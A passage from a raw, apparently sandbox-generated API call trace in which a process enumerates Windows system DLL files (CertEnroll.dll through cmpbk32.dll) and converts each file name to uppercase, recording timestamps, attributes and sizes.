lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.476] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x38c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0028.476] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0028.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x38c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0028.477] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.477] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x38c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0028.477] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.477] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.477] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.477] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.477] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.478] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x38c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0028.478] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x38c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0028.478] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0028.478] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.478] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.478] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.478] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.478] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0028.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.479] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.479] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x38c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0028.479] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.479] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x38c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0028.479] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.479] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, 